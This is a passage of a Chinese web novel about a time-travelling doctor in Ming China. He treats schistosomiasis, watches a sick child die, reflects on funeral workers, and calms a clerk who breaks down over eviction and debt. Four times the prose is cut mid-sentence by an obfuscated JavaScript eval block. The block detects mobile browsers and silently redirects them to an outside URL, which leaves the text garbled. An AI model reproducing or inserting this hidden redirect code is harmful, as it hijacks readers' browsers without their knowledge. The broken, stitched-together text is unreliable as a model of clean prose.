“没错。”马淳指着铁娃,“他排出的血丝黑便,里面就有虫卵!就是这些虫卵,日复一日在耗他的血!毁他的身子!啃他的肝!啃他的肠!”
“这,就是你们祖祖辈辈说的‘水蛊’!”
“也是我们大夫说的,血吸虫病!”
死一样的寂静笼罩医馆。
只有铁娃微弱的呼吸声。
老汉抖着嘴唇,“虫子……吸血……下卵……”
他终于明白了纠缠村人几代人的噩梦是什么。
不是什么河伯诅咒,是水里看不见的毒虫!
小六急切地问:“师傅!那有救吗?”
徐妙云紧紧盯着丈夫。
马淳看向那几乎被绝望吞噬的父子。
脸上露出一丝不容置疑的沉静,“能救!”
他蹲下身去,假意从角落那个金属箱子找东西,其实是花了100积分,从系统里兑换了一些打虫药。
接着他装模作样取出一片银亮的药片。
“此药,叫‘吡喹酮’。”
药片落在白瓷碟里,发出清脆的声响。
老汉浑浊的眼珠死死盯住那小小的药片。
“一片……就能杀光虫子?”
“能!”
“但杀虫子并非治病全部。铁娃的身体,已被虫卵啃噬太久。肝脏肿大,气血大亏,元气虚损,这才是生死大关。”马淳一边说,一边已开始配药。
他动作麻利,“小六!”
“在!”
“黄芪三钱,当归两钱,红枣十颗去核,快煎浓汤!”
“哎!”小六拔腿跑向药柜。
“老伯!”马淳转回头,“你娃现在最需要进补气血!但切不可急进大鱼大肉!脾胃弱,虚不受补!反而会加重腹胀!”
老汉拼命点头,“懂!懂!马神医您说!俺就煮点粥汤!”
“可用些鲫鱼汤,撇净油花。”马淳一边取注射器一边说,“配些新鲜青菜叶剁碎,熬煮得稀烂,喂他缓缓咽下。”
“好!好!”老汉记牢。
此时,小六已将黄芪当归红枣熬上。
陶罐发出咕嘟声,药气渐渐弥漫开。
马淳熟练地敲开安瓿瓶,透明药液吸入针管,排空空气。
他走到铁娃身边。
“娃儿,会有点疼,忍一忍。”铁娃虚弱地睁开眼,点点头。
……
第191章古人短寿的真实原因之一!
冰凉酒精棉擦拭臂弯处皮肤,针尖刺入,铁娃只觉一丝尖锐的刺痛。
药液缓缓推进血管,随后马淳将那片“吡喹酮”取出。
递给老汉,“温水化开,喂他服下。”
老汉小心翼翼地接过,双手如同捧着稀世珍宝,哆嗦着倒温水化药,扶着铁娃艰难吞咽下去。
药味甚苦,铁娃眉头紧皱。
做完这一切,马淳才轻轻吐出一口气。
神情并无轻松。
“这药霸道。”他看着铁娃。“虫子会在体内剧烈挣扎、崩解、死亡,所以……”
他话音未落,铁娃突然捂住肚子,弓起身,“疼……肚子里……像好多针在扎!”
额头上冷汗更是瞬间冒出。
老汉吓得脸发白,“这……马神医!”
“莫慌!”马淳按住铁娃蜷曲的身体,“是虫子在死!此乃服药后正常的‘绞痛’反应。忍过这阵痛楚,病才有转机。”
“小六!黄芪当归红枣汤呢?”
“来了师傅!”
小六赶紧捧来一碗温热的、赤金色的药汁。
马淳接过,亲自喂到铁娃嘴边。
“喝下去。固本培元,护住你受损的正气,减轻毒虫死时对身体的冲击。”
铁娃大口喘着气,忍着剧痛,就着马淳的手,一点点喝下温热带甜的补气汤。
腹内那翻江倒海的绞痛,在汤药暖意和父亲紧握下,竟真奇迹般缓缓平复了一些。
只是人更加虚弱,沉沉昏睡过去。
老汉悬着的心总算落下。
他扑通跪倒在地,“谢神医救命大恩!谢……”
马淳连忙将他搀起,“治病救人是本分。快起来。”
他扶老汉坐下。
徐妙云端来温水,马淳自己喝了几口,才缓声继续,“此病凶险。更要紧的,是断绝源头!”
他的目光扫过小六和妻子,“老伯,从今日起,铁娃的病根虽然斩断,但他带病的粪便,必须特殊处理!所有粪便,集中深埋,绝不能再入湖塘!”
老汉连连答应,“俺懂!俺懂!拉缸里,埋深坑!”
“对。”马淳点头。
他看向小六和徐妙云,“记住我下面的话。尤其你,妙云,你怀着身子,更要谨记!”
徐妙云神色一凛,下意识捂住腹部。
小六也竖起耳朵。
“疫水之毒,首在防范!若有疫区的水,无分河水、湖水、池水、塘水!皆不可接触!更不可饮未沸之水!此虫狡猾,卵可随疫水漂流扩散。若有钉螺孳生之地,就是疫区源头。”
小六忍不住问,“师傅,那……那些传说古代山清水秀,河水甘甜……能像书上写的掬水解渴?”
马淳唇角微微勾起无奈与怜悯的哂笑,“山清水秀?河水甘甜?古人掬水解渴?”
他仿佛看到了后世某些浅薄文字的描述。
内心暗自叹息,什么古人亲近自然的诗意,都是后世书斋中人的一厢情愿。
对真正的古人而言,每一口生水,都是在与死神对赌。
“那是站着说话不腰疼,纸上谈兵的幻想!”马淳的语气带着一丝少见的犀利,“莫说寻常溪水河水,便是山间清泉,又能有几分真正干净?”
“肉眼凡胎,如何能见水中隐藏的毒虫幼虫?更别说各种肉眼可见、足以要命的蠕虫!”
他的手指点在桌面上,语气笃定,“河水清澈?底下或许是密密麻麻的钉螺窝!水草摇弋?其间潜行着待机的尾蚴!山涧凉快?寒气底下,说不定早被上游村落排污染过!”
小六和徐妙云都听得后背生寒。
老汉更是深有感触地点头,“俺们江州老家,十里八乡水边村子,哪个村没有几个得了‘大肚子病’早早没了的人?都是喝生水害的!打鱼汉子也躲不过……”
老汉叹息着。
小六恍然,“所以……古代书里写的什么‘林溪清冽,掬饮如醴’……”
“多半是城里老爷诗兴大发?或是运气好,没喝出病来?”马淳笑道,“古人短寿,固然有伤风刀兵之故。但这类潜藏水中的疫病,不知索去了多少壮丁性命!毁了无数人家!”
他望着窗外小青村还算清澈的河水。
想起这身体原主父亲早亡,恐怕也与这乡土无处不在的水源威胁脱不开干系。
“防范之道……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983496|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
马淳收回目光,异常郑重,“疫水之地,一切生水!必须煮沸!滚足三滚,方可入口!不接触疫水!非下不可,务必穿胶皮水裤!”
胶皮水裤四字,老汉听得一愣,随即明白是更好的防护物,他羡慕却不敢奢望。
“至于小六,”马淳看向徒弟,“日后你若行医出诊疫区,不饮当地生水,只用自带煮沸的水!与病患诊脉后必须用烧酒搓洗双手!”
“记住了?”
“记住了师傅!”小六大声应道。
徐妙云轻声问:“那我平日……”
“妙云,你更为紧要!”马淳的语气不容置疑,“家中有孕之人,一切入口之水,必是我亲自烧沸!任何生冷之水,绝对禁止!切莫贪一时之爽快!记住,安全重于泰山!”
“嗯!”徐妙云重重点头,心有余悸地又护住小腹。
此刻,诊床上的铁娃似乎安稳了些,鼾声虽微弱,却均匀了一些。
老汉坐在床边,望着儿子蜡黄但已无痛楚神色的脸,浑浊的泪终于流了下来。
马淳却知道,这一片小小的吡喹酮虽能救命,但想要根除这片土地上盘桓千年的“水蛊”,无异于一场漫长艰巨的战争。
送瘟神。
他脑海中浮现那场后世的伟大防疫运动。
赤脚医生踏遍千村,药片送到每家每户,千军万马挖渠填塘,经过无数人的努力,终于斩断了这条毒链。
那些壮举……
即便穿越到了明朝,他内心翻涌着敬意。
“老伯,”马淳的声音带着一种沉甸甸的责任感,“铁娃这几日会排出死虫死卵,粪便深埋后,务必要用大量生石灰覆盖!消毒杀虫!谨记!”
“等他能下地了……”马淳的目光变得深邃,“带他……换一片水域吧,那条生你养你的湖,也是啃噬你们的毒湖,若有可能离开水边。”
老汉听着,眼中是世代渔民的挣扎,最终化作一声沉重叹息。
马淳不再多言,他低头整理药箱,心中感慨万千。
那些幻想田园牧歌的……不过是浮在水面的泡沫,不知水下淤泥里沉埋着多少累累白骨。
……
第192章八岁的孩童就这么**!
医馆门缝漏出黎明灰光时,木门板被拍得山响。
进来的是个佝偻汉子,背上伏着团小小的影子。
那孩子软得没骨头似的贴着父亲嶙峋的肩胛,枯草般的头发遮了半边青灰的脸。
汉子一开口,喉管里都是嘶哑:“马、马大夫……湖阳村的……求您救命!”
马淳的手刚搭上孩子腕子,心就沉了底。
那脉象滑得像泥鳅钻水,又飘忽得如同断线风筝——是吊命的气血在溃散。
他翻开孩子眼皮,底下浊黄一片,血丝蛛网般缠着眼白。
腹大如鼓,薄薄的肚皮绷得发亮,青紫血管蚯蚓般凸起。
汉子盯着马淳脸色,嘴唇哆嗦起来,膝头一软就要往下跪:“娃……娃还有气啊!您再瞧瞧……”
马淳稳稳托住他胳膊:“几时开始病的?”
“开春……那会儿只说肚子胀,没力气。想着过几日就好……”汉子声音抖着,“五天前……人就烧糊涂了……昨儿开始呕血沫子……”
蜷在草席上的孩子忽然眼皮动了动。
那气息微弱如游丝:“爹……”
“哎!爹在!”汉子扑到席边,粗糙手掌裹住孩子冰凉的手指,“别怕,马神医有法子!”
孩子灰败的嘴角竟扯开一点笑纹:“不疼了……真不疼了……”
他眼珠费力地转了转,找到跪在另一侧的妇人,也是他娘:“娘……你莫哭……下辈子……我还给你当娃……”
孩子娘喉咙里发出两声不成调的闷嚎,整个身子佝偻下去,额头抵着冰凉的泥地。
马淳起身,走到药柜前。
手指掠过黄芪,当归,最终停在最底层一匣乌沉沉的药材上——那是备着吊命的野山参须末。
捏了一小撮,用温水细细调开。
端着碗走回草席时,他脚下慢了半拍。
孩子那点微弱的起伏彻底平了。
头歪向一侧,脸上竟还凝着那点安抚爹娘的笑。
人世间的悲与苦,从此与这**岁的娃无关了。
纵然见惯了生与死,看到一条生命在自己面前消失,马淳依旧做不到心如止水。
满室死寂。
汉子的脊梁骨像被人猛地抽了,高大身子颓然塌下去。
他呆呆看着那张再无生息的小脸,想抬手摸摸,手臂却重得抬不起来。
孩他娘当场哭晕过去。
日头爬上医馆门楣时,外面传来两声轻敲。
门没关严实,一个穿粗布短褂、系着玄色腰带的汉子探头进来。
他面上没什么多余的表情,目光轻轻在那张蒙着破布的草席上落了落,便垂下眼。声音不高,沉甸甸的:“后营巷张记杠房的。看有……有要搭把手的地方没?”
殡葬事业从业者,嘴里永远都会对死者存有敬意。
他们见惯了生死,但比任何人都尊重死亡。
孩子爹猛地抬头,布满红丝的眼睛茫然瞪着门口那人。
孩他娘伏在地上,肩背抽得厉害。
张记的伙计往前走了半步,踏进门坎,依旧垂着眼:“都是本分活计,乡里乡亲的。”
他顿了顿,声音更低哑了两分,“送人走最后一程,是苦,可也叫个‘渡’字。”
汉子喉结剧烈滚动,嘴唇动了动,没能发出声。
伙计往医馆角落退了退,贴着墙根,尽量不占地方。
他搓了搓满是老茧的手:“寿衣棺木,都有现成的。薄皮松木,榫卯打得严实,不招虫。坟地……东城外野杏林坡那边向阳,有块熟地,清静。”
他说得很慢,字字清晰。
孩子娘突然撑起身子,额头沾着土灰,对他们躬身行礼,“……有劳。”
那伙计微微躬了躬身:“应该的。后半晌车来,不耽搁您二位。”
他悄然退了出去,临走时轻轻带上了门。
门轴那点“吱呀”声,掐断了医馆里最后一丝活气。
薄暮暝暝时,一辆骡车停在医馆门口。
车板上铺着层新打的干净稻草。
两个同样是短褂玄色腰带的伙计轻手轻脚进来,对着草席躬了躬身。
取出一条浆洗得发硬的旧粗布,四角对齐,极稳当地将那个小小的身体兜起、抬离地面,脚步沉稳无声地走向门外。
父母跟在后头。
爹踩空了一步,差点摔倒。
娘扶住他手臂,两人依偎着,拖着步子走。
车夫坐在车辕上,扬鞭时压低了声音:“爷几个,走了。”
骡子喷了个响鼻,蹄
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983497|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
铁叩在青石板上,踢嗒,踢嗒。
小六默默端了盆水出来,一遍遍冲洗孩子躺过的那块地面。
清水和进去,流出来是淡淡的褐色。
医馆里点起了灯。
马淳坐在灯下,看着那盆染血的水。
徐妙云站在里屋门边,扶着门框,手一直捂在小腹上。
许久,马淳才开口,声音像蒙了一层灰:“早来三天,药片下去,未必不能拼一拼。”
“他爹说……湖阳村去年也闹水瘟,死的人比收的粮多。”小六低着头擦洗刷子,“请不起跳大神的,更不敢想城里的神医……”
小六刷干净了最后一点水痕。
直起腰,站在那片被擦得湿漉漉的泥地上。
马淳从袖中摸出个小布囊。
倒出一片小小的、银亮的吡喹酮药片。
灯光下,药片边沿折射出一点冰冷的锋芒。
他指尖捻着那片药。
心情很沉重。
这小小的一片药,能救人!
他多希望自己肋生双翅,这样自己就能将药送到需要的人手上。
后半夜,更声催过三响。
那辆骡车回来了。
车空着,稻草也不见了。
张记伙计跳下车辕,脚步带着夜露走进昏暗医馆。
他从沾了泥星子的腰袋里,摸出一把铜子,哗啦一声轻轻堆在药柜前。
不多,只薄薄一小摞。
“车钱十文,松木薄棺最贱的也要二十文……连挖坑垒土都算上,”他声音低哑,“尽够了。”
他指头点在柜台上,一枚一枚推开数。
一枚,两枚……数得极慢。
数完一遍,手指拢回铜钱,又重新数。
昏黄豆灯下,那指头粗粝裂着口子。
铜钱碰响的声音在夜里格外清晰。
马淳看着他第三次将那薄薄一叠钱捋平排开。
伙计用袖子角仔细擦干净了。
他脸上没什么悲喜,只有一种完成桩重托后凝着的沉。
“钱帐两清,不欠了。”
他收了空布袋子,对着角落那张席子曾存在的位置,微微躬了躬身。
然后又对着马淳他们躬身行了一个礼。
马淳微微颔首,双方都有默契,不去说什么话……
第193章人死后同样需要一份尊重!
殡葬人的车走了,马淳一直站在门口,望了很久。
“那些人……”马淳开口,“那些做白事的……”
马淳顿了顿,似乎在组织话语。
“铺子总喜欢开在医馆边上、药铺边上。我以前……只当是为了生意。”
徐妙云没有说话,她只是静静地看着丈夫。
“现在懂了。”马淳缓缓摇了摇头,“骤然失了至亲的人。心肝像是被挖走了。脑子是懵的,手脚全是凉的。整个人像是掉进了冰窟窿。茫茫然,全然不知该怎么做。”
他抬起头,看向徐妙云,“只有他们懂。知道每一步该怎么走。从净面梳头,到穿衣入殓。从扶棺稳舆,到安土为安。每一个环节都有讲究,有规矩。”
“他们是在亡魂即将步入幽冥的那一刻,替手足无措的活人,撑起最后一丝体面,他们是在送人过那最深、最窄的一道河。”
“渡。”
他低低地说出这个字。
医馆里很静。
马淳也逐渐回想起,自己在现代当医生时,看到的场景。
有那么一瞬,好像回到现代,那时候他在医院见过两个场景。
那是一个长长的走廊。
空气里漂浮着消毒水和绝望混合的气味。
急救室的红色灯牌还亮着。
一个年轻的男人背靠着冰凉的墙壁。
身体一点一点滑坐在地上,他的衣服皱巴巴的,头发凌乱地贴在汗湿的额前,眼圈通红,牙关紧紧咬着,腮帮都在颤抖。
一个穿着深色西装、别着小小白色绢花的年轻人,脚步很轻地走了过去。
年轻人面色肃穆,带着一种职业的沉重,他微微弯下腰,正要开口。
那个坐在地上的年轻男人猛地抬起头,像一头被彻底激怒的困兽。
“滚——!”他用尽全身力气跳起来,揪住了西装年轻人的衣领,“你们巴不得人死对不对?!就这么等着!等着收尸是不是?!”
拳头毫不留情地砸了下去。
带着狂风骤雨般的恨意和无处发泄的悲痛。
捶打在深色的西装上,发出沉闷的“砰砰”声。
那年轻的殡葬人没有躲闪,也没有还手,他只是微微侧过一点头,抿着唇,沉默地承受着那些混乱的拳头。
唾沫星子溅到他脸上,他也只是闭了闭眼。
片刻后,那愤怒嘶吼的年轻家属像是耗尽了所有力气,拳头软了,揪着衣领的手也松开,整个人脱力般再次滑坐在地上,肩膀剧烈地耸动起来,发出野兽受伤般的呜咽。
西装被扯得有些凌乱的殡葬人,在原地沉默地站了几秒钟,他从内袋里掏出一张名片,素白,印着淡淡的黑色字样。
他蹲下身,动作很轻,尽量保持在一个不会过分压迫的角度,将那张名片轻轻放在嚎啕大哭的家属身边的椅子上,“……您看看这个流程。若有需要,随时打电话。”
他顿了顿,又低声补充了一句,“节哀顺变。”
然后他站起身,没有再看那个崩溃的身影,安静地退到了走廊的尽头。
隐入那片令人窒息的阴影里。
等待着。
像一道沉默的注脚。
随时准备承接无处安放的绝望。
还有一次是在太平间。
一个穿着深灰色工作服的男人,年纪大概五十上下。
他蹲在角落一张简陋的不锈钢停尸床边,动作很轻,像对待一件极易碰碎的珍宝。
他戴着一双干净的白色棉线手套,手很稳,正在仔细地帮停尸床上的少年合拢眼睛。
那是个很年轻的男孩,脸上还带着未脱的稚气,只是面色青灰,嘴唇毫无血色,额角和脸颊上有几处明显的擦伤和凝固的血迹,头发里也沾着泥土,显然遭遇了意外。
花白头发的入殓师动作轻柔地拂过少年冰冷的额头。
用湿了温水的软布,一点一点,小心翼翼地擦去那些污泥和血痂,每一寸皮肤都擦得很仔细,连少年鬓角细小的绒毛也轻轻理好。
他的神情专注,平静,带着一种近乎神圣的庄重,仿佛这冰冷的遗骸,仍能感受到这份无声的尊重。
在不远处的墙边,少年的母亲,她背靠着冰冷的墙壁。
身体抖得像寒风里的最后一片枯叶。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990241|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
br>手死死地抠着墙壁,指甲缝里嵌进了剥落的灰粉而不自知。
她死死咬着下唇,眼泪无声地汹涌。
可她不敢倒下,不敢靠近。
那个穿着深灰衣服的入殓师,没有催促,没有打扰,只是继续着他轻柔而精确的工作。
用干净柔软的毛巾,细细吸干水渍,随后从旁边的工具包里,取出一套折叠得整整齐齐的干净衣服,棉质的,素净的蓝色,样式是少年们常穿的运动款。
他把衣服在旁边的台子上展开,细致地抚平每一道褶皱。
然后,他极其小心地托起少年已经僵硬的肩膀和手臂,力道恰到好处,既要帮助遗体穿进衣服,又要尽量保持其姿势的安详。
每一个动作都带着无法言说的细心与耐心,袖子套进去,拉直,扣上拉链,衣领摆正。
裤子也小心翼翼地穿上,裤腿拉平,拉链系好。
最后,他将少年额前几缕没擦干的湿发轻柔地梳向两边,让这张年轻却再无生气的脸,显得安宁一些,整洁一些,仿佛只是沉睡了。
做完这一切,花白头发的入殓师才慢慢直起有些酸麻的腰。
他最后看了一眼少年平静下来的面容。
眼神里有一丝几不可察的叹息。
然后他退开半步,对着那位已经哭得站立不住、靠着墙壁缓缓滑落的母亲,微微躬身,做了一个无声的邀请姿势。
将这方寸之地,这生死之间最后的告别时刻,留给悲痛的母亲。
母亲靠近时,虽抱着遗体在哀嚎,但至少她看到的是她儿子比较体面的一面,而不是凌乱的血迹。
马淳听过不少大型车祸送进手术室的,有很多遗体不成样,家属看后,会给他们带来二次心理上的伤害。
甚至马淳还听过,有些插着管子去世的病人,在拔管前,会将家属请出去,然后让殡葬业的人来清理。
因为一旦拔管子,内外压失衡之下,遗体有可能会七窍流血。
那种场景,会让本就崩溃的家属更加崩溃。
而人死后的安详,就是这些殡葬业从业者给的。
……
第195章古代房奴被逼疯!!
晨光微露,小青村医馆的门板被卸下。
昨日的悲凉已归于平静,只有泥土上被反复擦洗的痕迹,诉说着曾有生命在此消逝。
然而,新的疾苦永不会停止。
辰时初刻,医馆门口传来一阵压抑的呜咽和凌乱的脚步声。
一个穿着半旧青布直裰的男人,被一位荆钗布裙的妇人用力搀扶着,踉跄走了进来。
男人约莫三十多岁,脸色蜡黄,眼神散乱惊恐。
他浑身都在难以自抑地颤抖,仿佛风中残烛。
干裂的嘴唇不停嚅动,却只能发出含混不清的“嗬嗬”声。
“大夫!救命!求您救救我家官人!”妇人一进门,便扑通跪倒在地,泪水涟涟。
她怀里还紧紧搂着一个四五岁、面色惶然的女童。
马淳立刻上前,“大嫂快起!莫慌,先让病人坐下。”
他示意小六搬来矮凳,小六麻利地将男人安置在凳子上。
男人却像受惊般猛地弹了一下,随即死死抓住妇人的衣袖,如同溺水者抓住浮木。
他目光惊恐地扫视着四周,身体筛糠般抖动。
“他这是……?”马淳蹲下身,观察着男人的状态。
男人眼神空洞,布满血丝,不敢与人对视,额头上汗出如浆,呼吸急促短浅。
妇人搂紧女儿,泣不成声:“他是户部书办陈安,我们本是徽州府人……”她哽咽着断断续续讲述:“我官人寒窗苦读……好不容易补了户部的缺……虽只是不入流的书办……可也是顶要紧的差事!
“他为……为这个前程……拼着命啊!几年了……一天假不敢请……生怕耽误公事丢了差遣……”
陈安的身体颤抖得更厉害了。
他喉咙里发出短促的嘶鸣,双手下意识地、一遍遍地擦拭着自己青布直裰的前襟,仿佛那里沾满了看不见的污秽。
妇人抹了把眼泪,绝望更甚:“……就想在京城……安个家……让娃儿……能……能进个族学……我们一家……勒紧裤带……牙缝里省……好不容易攒够……订了一处小院的钱!办了典贷……”
她说到“典贷”二字,声音抖得不成样子:“钱庄……收了地契作保……分十年还清……每月要还本息……”
马淳眉头紧锁。
他当然知道“典贷”为何物。
这是民间类似后世房贷的法子。
将祖传地产抵押给钱庄,贷出银钱购房,再逐月偿还本息。
一旦断供,不仅房子被收,祖产也一并充抵,风险极大,非走投无路者不会如此。
妇人哭声更大,带着控诉:“……可那院子……还在前房主手上!约定下月……下月腾房交割!”
“谁承想!昨夜那房主……忽然带着几个人闯来!二话不说!把我们全家的东西……全……全扔到了大街上!”
她浑身发抖:“……说……说他儿婚期提前!下月新房要当婚房!我们租住的那间倒座……他……他不能租了!明天……必须搬空!”
陈安突然发出一声含糊的惨叫,双手痛苦地抱住了头。
妇人声音已嘶哑:“……我们解释……求他宽限!我们的新房还没交接啊!这……这可让我们一家四口……立时三刻……去哪找容身之处?!”
她看着形容枯槁的丈夫:“……我官人……当场就……就痴了!问他什么都不应……只会瑟瑟发抖……或者突然大哭大笑……看谁都……都像那凶神恶煞的房东!”
妇人再次重重叩头,额头几乎碰到泥地:“大夫!求您了!他要是疯了……我们娘仨……怎么活啊!”
女童被母亲扯动,终于“哇”地一声大哭出来。
小六攥紧了拳头,咬牙切齿:“这些人……真真可恶!一点余地都不给人留吗?”
徐妙云早已放下手中针线,看着那哀嚎的女童和失魂落魄的父亲,眼中满是悲悯。
马淳的面色凝重如寒铁。
他轻轻扶起妇人。“莫急。”
他蹲在陈安面前,目光如炬,仔细审视。
陈安躲闪着马淳的目光,身体缩得更紧,嘴唇翕动,含混地念叨:“……催命符……房主……官府的……公文……债主……”
“呜呜……爹娘……儿不孝……田没了……屋没了……”
“京城……容不下……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991266|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
浮萍……”
马淳眼神专注,手搭上陈安的腕脉。
指下的脉搏杂乱无章,时快时慢,时如脱兔,时如沉鼓。
再看舌苔,黄厚腻浊。
这是典型的“肝郁气结,痰火上扰,蒙蔽心窍”之症!
长时间高度紧张、压抑,内心惊怒交加无处宣泄,如同一个被充气到极限的皮囊。
昨夜那房东不讲道理、粗暴强逼的行为,就是那最后一根稻草!
巨大打击之下,心气瞬间崩断,神魂失守!
这并非邪祟,而是心伤到了极点!
“大嫂放心。”马淳站起身,“陈书办之症,源于心神遭受巨创,气血逆乱。非不治之症!”
这话如同定心丸,让妇人眼中燃起一丝希望。
马淳继续道:“首要,是安其神魂,降其逆火,疏其郁结。方能定惊解语。”
他看向小六:“取纸笔!”
小六立刻奉上。
马淳笔走龙蛇,写下药方:“柴胡六钱,龙胆草三钱,以疏肝泻火,祛其邪火冲脑之毒!”
“茯神八钱,远志三钱,酸枣仁五钱,宁心安魂,定其惊悸!”
“石菖蒲四钱,郁金四钱,豁痰开窍,解其心包之蔽!”
“再加白芍五钱,当归三钱,柔肝养血!护其根本!”
药方列毕,他沉声道:“此药急煎,浓浓一碗速速服下!”
“是!师傅!”小六接过药方,如同接了军令,立刻冲向药柜抓药。
马淳转头对妇人道:“他此刻心神激荡如狂风巨浪,药力还需外力协助,镇其波澜。”
“妙云,取针囊来。”
徐妙云应声,很快取来一个古朴的针包。
马淳让妇人扶稳陈安,他捻起一根细长的银针,“针百会穴、印堂穴、神门穴,以镇惊安神!”
他手指沉稳如磐石,针尖在陈安头顶缓缓刺入,精准到位。
陈安激烈的颤抖,竟随之减弱了几分。
马淳又在他眉心、手腕内关处精准落针。
几针过后,奇迹出现了。
陈安剧烈颤抖的身体如同被无形力量抚慰,开始明显缓解。
……
第196章马淳的行为可配享太庙
急促紊乱的呼吸声也渐渐变得悠长。
他依旧目光呆滞,但眼中的狂躁惊恐,似乎在一点点消褪。
嘴唇蠕动,那无意义的嘶鸣也停了。
“好神奇!”妇人捂嘴惊呼,眼中含泪。
小六端来了浓黑的药汁。
热气腾腾,药味浓郁,在妇人和小六的帮助下,药汁被一点点灌入陈安口中。
苦涩的滋味弥漫,陈安身体本能地痉挛了一下,却并未剧烈反抗。
随着药物入腹,他的眉头紧锁,像是在经历内部激烈的搏斗。
片刻后,他那双空洞的眼睛里,竟缓缓流下两行清泪。
泪水蜿蜒,洗刷着他蜡黄的面颊。
“…家……”他终于从喉间挤出一个音节,“没了……”
接着又是一声呜咽,悲切绝望。
但这,却让妇**喜过望。
“官人!官人你认得我了?!”她扑上去抱住丈夫的臂膀。
“认得!他在说话!神医!他在说话啊!”妇人泪如泉涌。
马淳轻轻颔首。
能哭出来,能表达,是心神复苏的迹象!
气机已然松动,药物之力与针刺之力终于撬开了那封闭的心门,疏泄了那几乎撑爆心魂的郁结怒火!
他示意妇人让陈安安静休息,“莫要再刺激他。”
他目光掠过医馆外排队等候的几个寻常村人。
又落在街对面那个踌躇张望、面带急切之色的老者身影上。
那老者衣饰普通,却带着城里人的气度。
那眼神里有惶惑,甚至有难以言说的愧疚。
马淳低声问妇人:“对面那位……是?”
妇人顺着他的目光望去,脸上顿时显出怨恨,随即又化作无力:“就……就是那房东……他来作甚?”
妇人苦笑:“方才……方才在门外遇到了……他说……他说也不是存心如此歹毒,‘实在是等米下锅哩!小儿急等新房迎亲……邻里都晓得……办不到要受人戳脊梁骨……’”
“我呸!”饶是妇人平日温顺,此刻也气得浑身发抖:“他那小儿娶亲要紧,我们全家露宿街头就不要紧吗?他几处房产空着,倒说等米下锅?!”
“他这是……看我官人这样……怕闹出人命摊上官司?故意来看的。”
马淳看着那畏畏缩缩不敢进门的房东,又看看虽依旧木然、但泪流不止、口中含混念着“家”“债”二字的陈安。
再看看紧紧依偎在母亲身边、满脸惊魂未定的女童。
这就是大明。
巍巍皇权之下,有人只为一言,便可使**海疆惊涛万丈,人头滚滚。
也有人挣扎于尘埃,只为方寸遮顶之地,便可将数载心血、半生积蓄,乃至心脉神魂付之一炬。
“小六。”
“师傅?”
“再开一服安神定志的丸药给这位夫人。”马淳的声音平静。
他看着陈安枯槁的脸:“心病是根基损了。药石可缓其急症。但这心头压着的那块山……得挪开。这病才算有治本的机会。”
他言下之意清晰:光靠药,治不了那如影随形的“房子”和“债务”。
那房东终究没有胆量踏进医馆的门。
陈安在药物的安抚和针刺的效果下,沉沉睡去。
呼吸依旧沉重,眉头深锁,但至少不再惊悸。
妇人抱着女儿,千恩万谢后,含泪要支付药资。
“你们已经很艰难,药资免了。”
她们艰难地扶着沉睡不醒的陈安,一步步走向医馆外未知的街巷。
徐妙云走到马淳身边,轻轻握住他的手,“夫君,已经给他们了!”
她低声唤道。
感受到妻子掌心的温热和担忧,马淳从压抑的情绪中抽回神思。
他反手拍了拍她的手背,目光坚毅:“嗯,能帮则帮。这京城里的病……千奇百怪。但终究……是‘人’的病。”
他的目光投向医馆门前等候的其他病人。
一位扶着腰的老人,一个咳嗽不止的妇人。
一个头上缠着渗血布条的半大孩子……
排队的队伍缓慢移动着,如同一条沉默忍受、等待救赎的河。
“来吧。”马淳深吸一口气,驱散了心头的阴霾。
他招呼下一个病人。
“一个一个来。今日……还长着呢。”
……
陈安一家走到村外的柳树下。<
